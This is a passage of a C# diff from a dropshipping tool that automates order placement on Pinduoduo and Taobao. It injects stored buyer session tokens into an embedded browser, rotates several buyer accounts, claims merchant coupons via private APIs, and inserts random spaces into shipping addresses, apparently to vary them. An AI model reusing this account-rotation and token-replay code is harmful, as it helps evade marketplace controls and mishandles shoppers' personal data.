BaseRegex.GetStringJson(ref list, "region_id"); + ppp.parent_id = BaseRegex.GetStringJson(ref list, "parent_id"); + if (pp.city.ContainsKey(ppp.name)) + continue; + pp.city[ppp.name] = ppp; + } + p.city[pp.name] = pp; + } + CollectionClass.Province[p.name] = p; + } + } + + public static string GetProvince(string pid) + { + string path = "temp/province"; + string url = "http://apiv4.yangkeduo.com/api/galen/v2/regions/" + pid + "?pdduid=" + PddUid; + string refere = BaseClass.PddMobileUrlx + "addresses.html"; + string html = "", file = path + "/" + pid + ".king"; + + if (FileBase.Exists(file)) + html = FileBase.ReadAllText(file, Encoding.UTF8); + if (string.IsNullOrEmpty(html) || (!string.IsNullOrEmpty(html) && html.Contains("错误"))) + { + html = GetPostTaobaoHtml.UploadTaobao(url, refere, true); + if (html.Contains("错误")) + { + Thread.Sleep(5 * 1000); + html = GetPostTaobaoHtml.UploadTaobao(url, refere, true); + } + FileBase.WriteAllText(file, html, Encoding.UTF8); + Thread.Sleep(200); + } + return html; + } + #endregion + + + #region 更新订单 + private KeyValuePair GetBuyerUser() + { + KeyValuePair buyuser; + if (UpId.StartsWith("tb-")) + { + buyuser = TaoBaoBuyUser.buyUserCookies.First(x => x.Value.uid == BaseClass.TaoBaoUid); + } + else if (UpId.StartsWith("pdd-") || UpId.StartsWith("pd-")) + { + if (GlobalConfig.SystemSettings.IsUsePddPifa) + { + buyuser = new KeyValuePair(); + Invoke(new Action(() => + { + var user = GlobalConfig.LstPddPifaShop.FirstOrDefault(s => s.PddId == mainform.cmbPddPifaBuyUser.Text || s.PddShopName == mainform.cmbPddPifaBuyUser.Text); + BuyNumber bn = new BuyNumber(8, user?.PddId, user?.PddId); + UserCookies uc = new UserCookies() { UserName = user?.PddId, SiteId = 8, uid = user?.PddId, Cookies = JsonHelper.DeserializeJsonToList(user?.CookiesJson) }; + buyuser = new KeyValuePair(bn, uc); + })); + } + else if (GlobalConfig.SystemSettings.IsUseMultiBuyer) + { + buyuser = new KeyValuePair(); + if (multiUserCookie != null) + { + Cookie c = new Cookie() + { + Domain = "yangkeduo.com", + Name = "PDDAccessToken", + Value = multiUserCookie.cookies, + Expires = DateTime.Now.AddYears(1), + Path = "/", + }; + + BuyNumber bn = new BuyNumber(8, "plbuy_" + multiUserCookie.pdd_user_id, "plbuy_" + multiUserCookie.pdd_user_id); + UserCookies uc = new UserCookies() + { + UserName = "plbuy_" + multiUserCookie.pdd_user_id, + SiteId = 8, + uid = "plbuy_" + multiUserCookie.pdd_user_id, + Cookies = new List() { c }, + }; + buyuser = new KeyValuePair(bn, uc); + } + } + else + { + buyuser = PddBuyUser.buyUserCookies.First(x => x.Value.uid == BaseClass.PddUid); + } + } + else + { + buyuser = ALBuyUser.buyUserCookies.First(x => x.Value.uid == BaseClass.ALUid); + } + return buyuser; + } + private void UpdateToServer() + { + try + { + //KeyValuePair buyuser = new KeyValuePair(null, null); + //if (GlobalConfig.SystemSettings.IsUseMultiBuyer) + //{ + //} + var buyuser = GetBuyerUser(); + string buyusername = ""; + string buyuserid = ""; + if (buyuser.Value != null) + { + buyusername = buyuser.Key.name; + buyuserid = buyuser.Value.uid; + } + StringBuilder sb = new StringBuilder(); + sb.Append("&order_id=" + orderDetail.order_id); + sb.Append("&price=" + ProductAmount); + sb.Append("&name=" + buyerName); + sb.Append("&mobile=" + buyerMobile); + sb.Append("&up_product_id=" + UpId); + sb.Append("&address=" + buyerAddress); + sb.Append("&order_id_buy=" + order_id_buy); // 拍单订单号 + sb.Append("&order_status_buy=2"); // 0已完成 1待拍单 2等待上家发货 + sb.Append("&buy_price=" + PayAmount); + sb.Append("&buy_time=" + BaseClass.GetServerTimeString()); + sb.Append("&buyer_mobile=" + buyusername); + sb.Append("&buyer_mobile_uid=" + buyuserid); + sb.Append("&remark="); + sb.Append("&is_update_order=1"); // 1修改状态 0不修改状态 + + orderDetail.price = "0"; // (Convert.ToDouble(ProductAmount) * 100).ToString(); + orderDetail.name = buyerName; + orderDetail.mobile = buyerMobile; + orderDetail.address = buyerAddress; + orderDetail.order_id_buy = order_id_buy; + orderDetail.order_status_buy = 2; + orderDetail.buy_price = PayAmount; + orderDetail.buyer_mobile = buyusername; + orderDetail.buyer_mobile_uid = buyuserid; + + CollectionClass.orderDataList.RemoveAll(x => x.order_id == orderDetail.order_id); + CollectionClass.orderSenderDataList.Add(orderDetail); + string url = BaseClass.DouYinBuildObjString("order&act=update"); + string param = UserLogin.GetSignaturex() + sb.ToString(); + string html = GetHtml.PostUtf8(url, param); + for (int i = 0; i < 10 && (html == null || !html.Contains("\"code\":200")); i++) + { + Thread.Sleep(1500 + Randomx.GetId(1000)); + param = UserLogin.GetSignaturex() + sb.ToString(); + html = GetHtml.PostUtf8(url, param); + } + if (html == null || !html.Contains("\"code\":200")) + { + BaseMsgForm.ShowError("订单状态更新失败,请手动编辑!"); + } + buyOrderListForm.SetOrderEditShowInDgvRows(orderDetail, 2); + sendOrderForms.SetOrderEditShowInDgvRows(orderDetail, 1); + } + catch (Exception) + { + + } + + } + #endregion + + + #region 拼多多 多买手 切换买手号 + + /// + /// 替换买手 + /// + /// + void change_pddbuyuser(string _weburl, string dataJson) + { + + var cookieManager = Cef.GetGlobalCookieManager(); + NaiBa.CefHelper.CEFBrowser.DeleteCookie(cookieManager); + string[] arrcookies; + + string cookie = "PDDAccessToken=" + multiUserCookie.cookies; + arrcookies = cookie.Split(';'); + int intEachCookPartsCount = arrcookies.Length; + for (int i = 0; i < intEachCookPartsCount; i++) + { + if (!string.IsNullOrEmpty(arrcookies[i])) + { + if (arrcookies[i].Contains("pdd_user_id=")) + { + BaseClass.PddUid = arrcookies[i].Replace("pdd_user_id=", ""); + } + int IndexofA = arrcookies[i].IndexOf('='); + bool status = cookieManager.SetCookie(BaseClass.PddMobileUrl, new Cookie + { + Name = arrcookies[i].Substring(0, IndexofA), + Value = arrcookies[i].Substring(IndexofA + 1), + }); + cookieManager.SetCookie("https://mobile.yangkeduo.com", new Cookie + { + Name = arrcookies[i].Substring(0, IndexofA), + Value = arrcookies[i].Substring(IndexofA + 1), + }); + cookieManager.SetCookie("https://mobile.pinduoduo.com", new Cookie + { + Name = arrcookies[i].Substring(0, IndexofA), + Value = arrcookies[i].Substring(IndexofA + 1), + }); + cookieManager.SetCookie("https://yangkeduo.com", new Cookie + { + Name = arrcookies[i].Substring(0, IndexofA), + Value = arrcookies[i].Substring(IndexofA + 1), + }); + cookieManager.SetCookie("https://pinduoduo.com", new Cookie + { + Name = arrcookies[i].Substring(0, IndexofA), + Value = arrcookies[i].Substring(IndexofA + 1), + }); + } + } + + if (!string.IsNullOrEmpty(dataJson)) + { + var basePddUid = ""; + Invoke(new Action(() => + { + basePddUid = (MainForm.instance.cbpddBuyUser.SelectedItem as ComboboxItem).Value.ToString(); + })); + var baseUser = PddBuyUser.buyUserCookies.FirstOrDefault(u => u.Value.uid == basePddUid); + string url = BaseClass.PddMobileUrl + "proxy/api/api/germany/consult_merchant_promotion?pdduid=" + basePddUid; + string htmljson = HttpHelper.Request_mobile_yangkeduo_com(url, _weburl, dataJson, true, baseUser.Value?.CookiesStr); + var jObj = (JObject)Newtonsoft.Json.JsonConvert.DeserializeObject(htmljson); + var batch_list = jObj?["candidate_batch"]?["batch_list"]; + //https://mobile.yangkeduo.com/proxy/api/api/promotion/take_merchant_coupon?pdduid=4191813477420 + //{"batch_sn":"A0221VC-648799868143830548","merchant_tag":5,"anti_content":"","page_from":36} + if (batch_list != null) + { + foreach (var item in batch_list) + { + string batch_sn = item["batch_sn"].ToString(); + dataJson = "{\"batch_sn\":\"" + batch_sn + "\",\"merchant_tag\":5,\"anti_content\":\"0aoanti_content\",\"page_from\":36}"; + string ykddata = HttpHelper.Request_mobile_yangkeduo_com(BaseClass.PddMobileUrl + "proxy/api/api/promotion/take_merchant_coupon?pdduid=" + multiUserCookie.pdd_user_id, _weburl, dataJson, true, "PDDAccessToken=" + multiUserCookie.cookies + ";"); + } + } + } + + cefWebBrowser1.Load(_weburl); + } + #endregion + + + #region 拼多多批发匹配规格 地址 + private void GetOrderPddPifa() + { + PifaSkuMatch(); + AsycAutoMatchPddPifaAddress(); + } + + bool setpfsku = false; + // 匹配sku + private void PifaSkuMatch() + { + try + { + SkuLite = ""; + string skuBefor = orderDetail.sku; //ordermodel.goods_spec;//Order.sku; + for (int i = 0; !string.IsNullOrEmpty(skuBefor) && i < SignWordBase.Length; i++) + { + skuBefor = skuBefor.Replace(SignWordBase[i].ToString(), ""); + } + List skulist = skuBefor.Split(new string[] { ",", ";" }, StringSplitOptions.RemoveEmptyEntries).ToList(); + skulist = skulist.Select(s => s = s.Split(':').LastOrDefault()).ToList(); + SkuLite = string.Join(";", skulist); + foreach (string item in skulist) + { + string clickjs = "document.querySelectorAll('div').forEach((item)=>{if(item.outerText=='" + item + "'){item.click();}})"; + cefWebBrowser1.GetBrowser().MainFrame.ExecuteJavaScriptAsync(clickjs); + } + + cefWebBrowser1.GetBrowser().MainFrame.ExecuteJavaScriptAsync("document.querySelector(\"i[data-testid='beast-core-icon-plus']\").click();"); + + } + catch (Exception) + { + } + } + + private async void AsycAutoMatchPddPifaAddress() + { + await Task.Run(() => + { + AutoMatchPddPifaAddress(); + }); + } + #endregion + + + #region 拼多多匹配规格 地址 + string SalesVolume = ""; + string ShopProductNum = ""; + public static string SignWordBase = ".`~^*_| -#$%&?+"; + public ProductCollectBase Pb; + public string Html; + public string productsku = ""; + public List Skumaps = new List(); + private void GetOrderPdd() + { + if (string.IsNullOrEmpty(BaseClass.PddUid)) + { + if (goodsId > 0) + { + //SetMessage("没有登录,请先登录"); + //Thread.Sleep(2000); + //Invoke(new delegateBool(mainNForm.loginPdd), isPinBuyer); + } + return; + } + + if (goodsId == 0) + return; + if (detailHtml.Contains("已达购买上限")) + { + return; + } + if (detailHtml.Contains("商品已下架")) + { + return; + } + + ProductDtailBase t = new ProductDtailBase(); + t.FromId = goodsId; + PinduoduoProductCollect pro = new PinduoduoProductCollect(bName, t); + pro.TempHtml = detailHtml; + pro.Get(); + var pb = pro.pb; + + //取销量 + SalesVolume = BaseRegex.GetStringJson(ref detailHtml, "salesTip"); + ShopProductNum = BaseRegex.GetStringJson(ref detailHtml, "goodsNumDesc"); + if (!string.IsNullOrEmpty(ShopProductNum)) + { + ShopProductNum = ShopProductNum.Replace("商品数量:", ""); + } + Invoke(new delegateView(LoadSales)); + long sku = 0; + decimal minPrice = int.MaxValue; + string skuBefor = productsku;//Order.sku; + for (int i = 0; !string.IsNullOrEmpty(skuBefor) && i < SignWordBase.Length; i++) + { + skuBefor = skuBefor.Replace(SignWordBase[i].ToString(), ""); + } + if (string.IsNullOrEmpty(skuBefor)) + skuBefor = ""; + skuBefor = skuBefor.Replace("(", "(").Replace(")", ")").ToLower(); + + decimal noGroupPrice = 0; + decimal buyPrice = 0; + string[] l = skuBefor.Split(':'); + bool hadSku = false; + if (pb.SkuMaps.Count != 0) + { + Skumaps = pb.SkuMaps; + } + + #region 拍单时匹配规格 + for (int i = 0; i < pb.SkuMaps.Count; i++) + { + for (int j = 0; !string.IsNullOrEmpty(pb.SkuMaps[i].name) && j < SignWordBase.Length; j++) + { + pb.SkuMaps[i].name = pb.SkuMaps[i].name.Replace(SignWordBase[j].ToString(), ""); + } + if (pb.SkuMaps[i].price < minPrice) + { + minPrice = pb.SkuMaps[i].price; + //sku = pb.SkuMaps[i].id; + buyPrice = pb.SkuMaps[i].price; + } + pb.SkuMaps[i].name = pb.SkuMaps[i].name.Replace("(", "(").Replace(")", ")").ToLower(); + pb.SkuMaps[i].name = pb.SkuMaps[i].name.Replace("\"", "").Replace(";", ""); + bool had = false; + + //先精准匹配在模糊匹配 + bool isMatch0 = false;//匹配标识1 + bool isMatch1 = false;//匹配标识2 匹配标识都为true时,则精准匹配 匹配成功,否则进行模糊匹配 + var skuArr = pb.SkuMaps[i].name.Split(';'); + if (skuArr.Length > 0) + { + for (int k = 0; k < skuArr.Length; k++) + { + string skus = skuArr[k]; + if (string.IsNullOrEmpty(skus)) + { + continue; + } + string[] skuL = skus.Split(':'); + if (skuL.Length == 2 && l.Length == 2) + { + if (skuL[0] == l[0]) + { + isMatch0 = true; + } + if (skuL[1] == l[1].Remove(l[1].Length - 1, 1)) + { + isMatch1 = true; + } + } + + } + + if (isMatch0 && isMatch1)//精准匹配 匹配成功 + { + sku = pb.SkuMaps[i].id; + buyPrice = pb.SkuMaps[i].price; + noGroupPrice = pb.SkuMaps[i].no_group_price; + //SkuImg = pb.SkuMaps[i].prop_image; + hadSku = true; + break; + } + + } + ////精准匹配未匹配成功则进行模糊匹配 + //if (!isMatch0 && !isMatch1) + //{ + // if (l.Length == 1 && !string.IsNullOrEmpty(skuBefor) && pb.SkuMaps[i].name.Contains(":" + skuBefor) || l.Length == 2 && !string.IsNullOrEmpty(skuBefor) && pb.SkuMaps[i].name.Contains(":" + l[0]) && pb.SkuMaps[i].name.Contains(":" + l[1])) + // { + // sku = pb.SkuMaps[i].id; + // buyPrice = pb.SkuMaps[i].price; + // noGroupPrice = pb.SkuMaps[i].no_group_price; + // //SkuImg = pb.SkuMaps[i].pinduoduo_image; + // //SkuImg = pb.SkuMaps[i].prop_image; + // hadSku = true; + // break; + // } + //} + if (pb.SkuMaps.Count == 1 && pb.SkuMaps[0].name == "")//没有规格 + { + sku = pb.SkuMaps[i].id; + buyPrice = pb.SkuMaps[i].price; + noGroupPrice = pb.SkuMaps[i].no_group_price; + //SkuImg = pb.SkuMaps[i].prop_image; + hadSku = true; + break; + } + } + #endregion + + Pb = pb; + Html = detailHtml; + Invoke(new delegateView(SetSku)); + + DelPddAddress(); // 获取所有地址并删除 + AsycAutoMatchPddAddress(); // 导入当前买家地址 + + Thread.Sleep(1000); + if (sku > 0) + { + PutToBuy(sku, noGroupPrice, buyPrice); + } + else + { + + } + + MethodInvoker invoker = () => + { + tbproductjj.Text = buyPrice.ToString(); + textBoxXProfit.Text = ((Convert.ToDecimal(textBoxXGoodPrice.Text) - buyPrice) * Convert.ToInt32(buyCountTextBoxX.Text)).ToString();//本单利润 + }; + try + { + Invoke(invoker); + } + catch (Exception) + { + } + } + + + + public void PutToBuy(long sku, decimal noGroupPrice, decimal buyPrice) + { + var pb = Pb; + string html = Html.Replace("\\\"", "\""); + long groupOrderId = BaseRegex.GetLongJson(ref html, "groupOrderID"); + var m = BaseRegex.GetMatchRegex(ref html, @"""groupID"":([\d]+)"); + string groupId = "0"; + groupId = m[1].Groups[1].Value; + string url = ""; + + if (groupOrderId > 0)//如果有拼单则拼单没有则发起拼单 + { + if (Html.Contains(">插队拼单<"))//去插队拍单 + { + url = BaseClass.PddMobileUrl + "order_checkout.html?sku_id=" + sku + "&group_id=" + groupId + "&goods_id=" + goodsId + + "&goods_number=" + buyCountTextBoxX.Text + "&page_from=101&group_order_id=" + groupOrderId + "&is_history_group=1&refer_page_element=local_group&source_channel=1&refer_page_name=goods_detail&refer_page_id=10014_1551245727564_aVHD85yY7M&refer_page_sn=10014"; + } + else//去拼单 + { + url = BaseClass.PddMobileUrlx + "order_checkout.html?sku_id=" + sku + "&group_id=" + groupId + "&goods_id=" + goodsId + + "&goods_number=" + buyCountTextBoxX.Text + "&page_from=0&group_order_id=" + groupOrderId + "&refer_page_name=goods_detail&refer_page_element=local_group&source_channel=1&refer_page_id=10014_1541588923442_zoqqqvwXER&refer_page_sn=10014"; + } + } + else//发起拼单 + { + url = BaseClass.PddMobileUrlx + "order_checkout.html?sku_id=" + sku + "&group_id=" + groupId + "&goods_id=" + goodsId + + "&goods_number=" + buyCountTextBoxX.Text + "&page_from=0&refer_page_name=goods_detail&refer_page_element=open_btn&source_channel=0&refer_page_id=10014_1541588885673_tEooDdiR3n&refer_page_sn=10014"; + } + Thread.Sleep(500); + //if (!string.IsNullOrEmpty(BaseClass.duoduojinbaoURL)) + //{ + // string duoduoid = BaseRegex.GetMatchRegexString(ref BaseClass.duoduojinbaoURL, "goods_id=([\\s\\S]+?)&"); + // webUrl = BaseClass.duoduojinbaoURL.Replace(duoduoid, goodsId.ToString())+ "&sku_id=" + sku; + //} + //else + //{ + webUrl = url; + //} + try + { + Invoke(new delegateView(SetUrl)); + } + catch (Exception) + { + + } + + } + + private void SetUrl() + { + try + { + cefWebBrowser1.GetBrowser().MainFrame.ExecuteJavaScriptAsync("window.location.href='" + webUrl + "';", "", 1); + } + catch + { + + } + + //cefWebBrowser1.Load(WebUrl); + } + + + Dictionary skuIdSpec = new Dictionary(); + List skuList = new List(); + + private async void AsycAutoMatchPddAddress() + { + await Task.Run(() => + { + AutoMatchPddAddress(); + }); + } + + public void SetSku() + { + combSkuList.Items.Clear(); + if (Skumaps.Count > 0) + { + for (int i = 0; i < Skumaps.Count; i++) + { + combSkuList.Items.Add(Skumaps[i].name); + } + } + else + { + skuIdSpec.Clear(); + for (int i = 0; i < skuList.Count; i++) + { + var item = skuList[i]; + string skuSpec = string.Empty; + for (int j = 0; j < item.skuSpecs.Count; j++) + { + if (j + 1 == item.skuSpecs.Count) + { + skuSpec += item.skuSpecs[j].spec_value; + } + else + { + skuSpec += item.skuSpecs[j].spec_value + ","; + } + } + if (skuIdSpec.ContainsKey(item.sku_id)) + { + continue; + } + skuIdSpec.Add(item.sku_id, skuSpec); + combSkuList.Items.Add(skuSpec); + } + } + } + + public bool AutoMatchPddAddress() + { + string buyerCookie = ""; + if (GlobalConfig.SystemSettings.IsUseMultiBuyer) + { + BaseClass.PddUid = multiUserCookie.pdd_user_id; + buyerCookie = "PDDAccessToken=" + multiUserCookie.cookies + ";"; + } + else + { + buyerCookie = GetPostTaobaoHtml.GetCookies(BaseClass.PddMobileUrl, ""); + } + + bool flag = false; + string name = bName; + string address = Address.Replace("\n", ""); + string province = ""; + string provinceId = ""; + string city = ""; + string cityId = ""; + string district = ""; + string districtId = ""; + + if (string.IsNullOrEmpty(address_zdy) || string.IsNullOrEmpty(mobile_zdy) || string.IsNullOrEmpty(mobile_zdy)) + { + address_zdy = address; + mobile_zdy = Mobile; + name_zdy = name; + } + else + { + address_zdy = addressTextBoxX.Text; + mobile_zdy = mobileTextBoxX.Text; + name_zdy = userNameTextBoxX.Text; + } + + // 匹配地址 + MatchAddress(ref address, ref province, ref provinceId, ref city, ref cityId, ref district, ref districtId); + + if (address.Length > 3 && !address.Contains("95278")) + { + int c = Randomx.GetId(1, address.Length - 1); + address = address.Substring(0, c) + " " + address.Substring(c); + } + + string data = "{\"name\":\"" + name_zdy + "\",\"mobile\":\"" + mobile_zdy + "\",\"province_id\":" + provinceId + + ",\"city_id\":" + cityId + ",\"district_id\":" + districtId + ",\"address\":\"" + address_zdy + + "\",\"is_default\":\"1\"}"; + //url = "http://apiv4.yangkeduo.com/address?pdduid=" + PddUid; + //url = "https://api.pinduoduo.com/api/origenes/address?pdduid=" + PddUid; + string url = BaseClass.PddMobileUrl + "proxy/api/api/origenes/address?pdduid=" + BaseClass.PddUid;//1635501584 + string refere = "https://yangkeduo.com"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, false, buyerCookie); + string address_id = BaseRegex.GetStringJson(ref html, "address_id");//地址ID + string default_id = BaseRegex.GetStringJson(ref html, "address_id");//地址ID + if (!(!string.IsNullOrEmpty(address_id) && address_id == default_id)) + { + //url = "https://api.pinduoduo.com/api/origenes/address?pdduid=" + PddUid; + url = BaseClass.PddMobileUrl + "proxy/api/api/origenes/address?pdduid=" + BaseClass.PddUid; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, false, buyerCookie); + } + address_id = BaseRegex.GetStringJson(ref html, "address_id");//地址ID + default_id = BaseRegex.GetStringJson(ref html, "default_id");//地址ID + + if (!(!string.IsNullOrEmpty(address_id) && address_id == default_id)) + { + NaiBa.Util.Helper.LogHelper.WriteWithTime("提交地址失败:" + html); + BaseMsgForm.ShowInfo("提交地址失败,请检查地址和网络情况\r\n\r\n" /*+ Express.address*/, "提示"); + return false; + } + + //判断提交的地址是否和界面上地址一致 + //url = "http://apiv4.yangkeduo.com/addresses?pdduid=" + PddUid; + //url = "https://api.pinduoduo.com/api/origenes/address/" + address_id + "?pdduid=" + PddUid; + url = BaseClass.PddMobileUrlx + "proxy/api/api/origenes/address/" + address_id + "?pdduid=" + BaseClass.PddUid; + refere = BaseClass.PddMobileUrl; + html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, buyerCookie); + + string pddprovince = BaseRegex.GetStringJson(ref html, "province");//省 + string pddcity = BaseRegex.GetStringJson(ref html, "city");//市 + string pdddistrict = BaseRegex.GetStringJson(ref html, "district");//地区 + string pddaddress = BaseRegex.GetStringJson(ref html, "address");//剩余地址 + + try + { + //flag = MatchAddress(Address, pddprovince, pddcity, pdddistrict, pddaddress);//匹配地址 + //if (!flag) + //{ + // BaseMsgForm.ShowInfo("检查地址发现可能有错误\r\n可继续拍单,手动修改为正确地址\r\n", "提示"); + //} + } + catch (Exception) + { + //throw; + } + BaseMsgForm.ShowInfo("已提交地址\r\n\r\n" /*+ Express.address*/, "提示"); + return flag; + } + + /// + /// 匹配地址信息 + /// + /// + /// + /// + /// + /// + /// + /// + public static void MatchAddress(ref string address, + ref string province, ref string provinceId, ref string city, ref string cityId, ref string district, ref string districtId) + { + foreach (KeyValuePair p in CollectionClass.Province) + { + bool had = p.Key.Length >= 2 && address.Length >= 3 && + address.Substring(0, 3).Contains(p.Key.Substring(0, 2)); + had = had || + address.Length >= p.Key.Length + 2 && address.Substring(0, p.Key.Length + 2).Contains(p.Key); + if (!had) + continue; + province = p.Key; + provinceId = p.Value.id; + address = address.Substring(province.Length); + if (address.IndexOf("自治区") > -1 & address.IndexOf("自治区") < 5) + address = address.Substring(address.IndexOf("自治区") + 3); + if (address.Contains(province) && province != "北京市" && province != "上海市" && province != "天津市" && province != "重庆市")//去掉地址后面多余的省份(直辖市除外) + { + address = address.Replace(province, ""); + } + foreach (KeyValuePair pp in p.Value.city) + { + bool ok = pp.Key.Length >= 2 && address.Length >= 3 && address.Substring(0, 3).Contains(pp.Key.Substring(0, 2)); + if (!ok) + ok = address.Length >= pp.Key.Length + 3 && address.Substring(0, pp.Key.Length + 3).Contains(pp.Key); + if (!ok) + ok = address.StartsWith("市辖区") && (province == "北京市" || province == "上海市" || province == "天津市" || province == "重庆市") && pp.Key == province; + if (!ok) + continue; + city = pp.Key; + cityId = pp.Value.id; + address = address.Substring(city.Length > 3 ? 3 : city.Length); + if (address.Contains(city))//去掉地址后面多余的城市 + { + address = address.Replace(city, ""); + } + foreach (var ppp in pp.Value.city) + { + if (!address.Contains(ppp.Key) && !ppp.Key.Contains(address)) + continue; + district = ppp.Key; + districtId = ppp.Value.id; + address = address.Substring(address.IndexOf(district) + district.Length); + //if (address.Contains(district))//去掉地址后面多余的县、区 + //{ + // address = address.Replace(district, ""); + //} + break; + } + if (string.IsNullOrEmpty(districtId)) + { + foreach (var ppp in pp.Value.city) + { + if (ppp.Key.Length < 2) + continue; + string k = ppp.Key.Substring(0, 2); + if (!address.Contains(k)) + continue; + district = ppp.Key; + districtId = ppp.Value.id; + if (address.LastIndexOf(k) + district.Length > address.Length) + address = address.Substring(address.LastIndexOf(k) + k.Length); + else + address = address.Substring(address.LastIndexOf(k) + district.Length); + break; + } + } + //如果地址没有对应的区,则选择其他区 + if (string.IsNullOrEmpty(districtId)) + { + foreach (var ppp in pp.Value.city) + { + if (ppp.Key.Length < 2) + continue; + string k = ppp.Key; + if ("其他区" != k) + continue; + district = ppp.Key; + districtId = ppp.Value.id; + break; + } + } + address = address.Trim(); + break; + } + break; + } + } + + private void AutoMatchPddPifaAddress() + { + bool flag = false; + string name = bName; + string address = Address.Replace("\n", ""); + string province = ""; + string provinceId = ""; + string city = ""; + string cityId = ""; + string district = ""; + string districtId = ""; + + if (string.IsNullOrEmpty(address_zdy) || string.IsNullOrEmpty(mobile_zdy) || string.IsNullOrEmpty(mobile_zdy)) + { + address_zdy = address; + mobile_zdy = Mobile; + name_zdy = name; + } + else + { + address_zdy = addressTextBoxX.Text; + mobile_zdy = mobileTextBoxX.Text; + name_zdy = userNameTextBoxX.Text; + } + + // 匹配地址 + MatchAddress(ref address, ref province, ref provinceId, ref city, ref cityId, ref district, ref districtId); + + if (string.IsNullOrEmpty(districtId)) + { + BaseMsgForm.ShowInfo("自动填写地址可能未成功,请检查\r\n如需要请手动修改正确\r\n\r\n ", "提示"); + return; + } + + Task.Run(() => + { + //地址列表 + // https://pifa.pinduoduo.com/api/jacob/tob/addr/query/list + //{"scene_id":"80002"} + // 删除地址 + //https://pifa.pinduoduo.com/api/jacob/tob/addr/delete + //{ "address_id":"29126614499","scene_id":"80002"} + //设为默认 + //https://pifa.pinduoduo.com/api/jacob/tob/addr/set_default + //{ "address_id":"27072316452","scene_id":"80002"} + + string jsondata = ""; + string htmldata = ""; + jsondata = "{\"scene_id\":\"80002\"}"; + htmldata = HttpHelper.Request_pifa_pinduoduo_com("https://pifa.pinduoduo.com/api/jacob/tob/addr/query/list", "https://pifa.pinduoduo.com", jsondata, pddPifaCookies); + if (htmldata.Contains("\"success\":true")) + { + var jObj = (JObject)Newtonsoft.Json.JsonConvert.DeserializeObject(htmldata); + var addr_list = jObj?["result"]?["addr_list"]; + if (addr_list.Count() > 2) + { + foreach (var item in addr_list) + { + if (item["is_default"].ToString() != "1") + { + jsondata = "{ \"address_id\":\"" + item["address_id"] + "\",\"scene_id\":\"80002\"}"; + HttpHelper.Request_pifa_pinduoduo_com("https://pifa.pinduoduo.com/api/jacob/tob/addr/delete", "https://pifa.pinduoduo.com", jsondata, pddPifaCookies); + } + } + } + } + else + { + BaseMsgForm.ShowInfo("自动填写地址可能未成功,请检查\r\n如需要请手动修改正确\r\n\r\n ", "提示"); + } + jsondata = "{\"address\":\"" + address.Replace("\n", "").Replace("\r", "").Replace("\t", "").Replace("\"", "”").Replace(",", ",") + "" + "\",\"mobile\":\"" + mobile_zdy + "\",\"name\":\"" + name_zdy + "\",\"province_id\":" + provinceId + ",\"city_id\":" + cityId + ",\"district_id\":" + districtId + ",\"scene_id\":\"80002\"}"; + htmldata = HttpHelper.Request_pifa_pinduoduo_com("https://pifa.pinduoduo.com/api/jacob/tob/addr/create", "https://pifa.pinduoduo.com", jsondata, pddPifaCookies); + if (htmldata.Contains("\"success\":true")) + { + jsondata = "{ \"address_id\":\"" + BaseRegex.GetStringJson(ref htmldata, "address_id") + "\",\"scene_id\":\"80002\"}"; + htmldata = HttpHelper.Request_pifa_pinduoduo_com("https://pifa.pinduoduo.com/api/jacob/tob/addr/set_default", "https://pifa.pinduoduo.com", jsondata, pddPifaCookies); + if (!htmldata.Contains("\"success\":true")) + BaseMsgForm.ShowInfo("自动填写地址可能未成功,请检查\r\n如需要请手动修改正确\r\n\r\n ", "提示"); + } + else + { + BaseMsgForm.ShowInfo("自动填写地址可能未成功,请检查\r\n如需要请手动修改正确\r\n\r\n ", "提示"); + } + }); + } + + #endregion + + + #region 淘宝获取上家sku,并与之匹配 + private void GetTbOrder() + { + #region + //string wwName = GetWwName(Id.ToString()); + #endregion + + #region 设置sku图 + //if (!string.IsNullOrEmpty(orderDetail.sku_img)) + //{ + // SkuImg = orderDetail.sku_img; + //} + //else + //{ + // SkuImg = PayGroupOrder.GetSkuImg(Order.product_id, Order.sku); + //} + //if (!string.IsNullOrEmpty(SkuImg)) + //{ + // SetSkuImg(); + //} + #endregion + AutoMatchTbAddress(); + //添加地址后,提交订单 + //AddTaoBaoAddress(); + //if (Order.buy_type == 2) + //{ + // Mobile = Order.buy_mobile; + //} + //if (string.IsNullOrEmpty(PddUid)) + //{ + // if (goodsId > 0) + // { + // //SetMessage("没有登录,请先登录"); + // Thread.Sleep(2000); + // Invoke(new delegateClick(payOrderForm.LoginTbBuyerButton_Click), null, null); + // } + // return; + //} + if (goodsId == 0) + return; + //if (BaseClass.PhonePay) + //{ + // return; + //} + string url = "https://item.taobao.com/item.htm?id=" + goodsId; + + string refere = ""; + //string html = GetPostTaobaoHtml.UploadTaobao(url, refere, true); + ProductCollectBase t = new ProductCollectBase(); + t.from_id = goodsId; + TaobaoMobileCollect mob = new TaobaoMobileCollect(t); + mob.Get(); + var pb = mob.Product; + long sku = 0; + decimal minPrice = int.MaxValue; + //Order.sku = "颜色分类:1【200只】"; + string skuBefor = orderDetail.sku; + + for (int i = 0; !string.IsNullOrEmpty(skuBefor) && i < SignWordBase.Length; i++) + { + skuBefor = skuBefor.Replace(SignWordBase[i].ToString(), ""); + } + if (string.IsNullOrEmpty(skuBefor)) + skuBefor = ""; + skuBefor = skuBefor.Replace("(", "(").Replace(")", ")").ToLower(); + + + decimal noGroupPrice = 0; + decimal buyPrice = 0; + + bool hadSku = false; + //Skumaps.Clear(); + string[] tempSkuBeforList = skuBefor.Split(';');//处理混乱的sku + string[] skul = skuBefor.Split(':'); + for (int i = 0; i < pb.SkuMaps.Count; i++) + { + for (int j = 0; !string.IsNullOrEmpty(pb.SkuMaps[i].name) && j < SignWordBase.Length; j++) + { + pb.SkuMaps[i].name = pb.SkuMaps[i].name.Replace(SignWordBase[j].ToString(), ""); + } + Skumaps.Add(pb.SkuMaps[i]); + //if (pb.SkuMaps[i].price < minPrice) + //{ + // minPrice = pb.SkuMaps[i].price; + // sku = pb.SkuMaps[i].id; + // buyPrice = pb.SkuMaps[i].price; + //} + pb.SkuMaps[i].name = pb.SkuMaps[i].name.Replace("(", "(").Replace(")", ")").ToLower(); + pb.SkuMaps[i].name = pb.SkuMaps[i].name.Replace("\"", "");//.Replace(";", ""); + + #region 精准匹配 + var tempOrderSkuArr = skuBefor.Split(';'); + var tempskuArrx = pb.SkuMaps[i].name.Split(';');//多个规格;例如:颜色;尺寸 + if 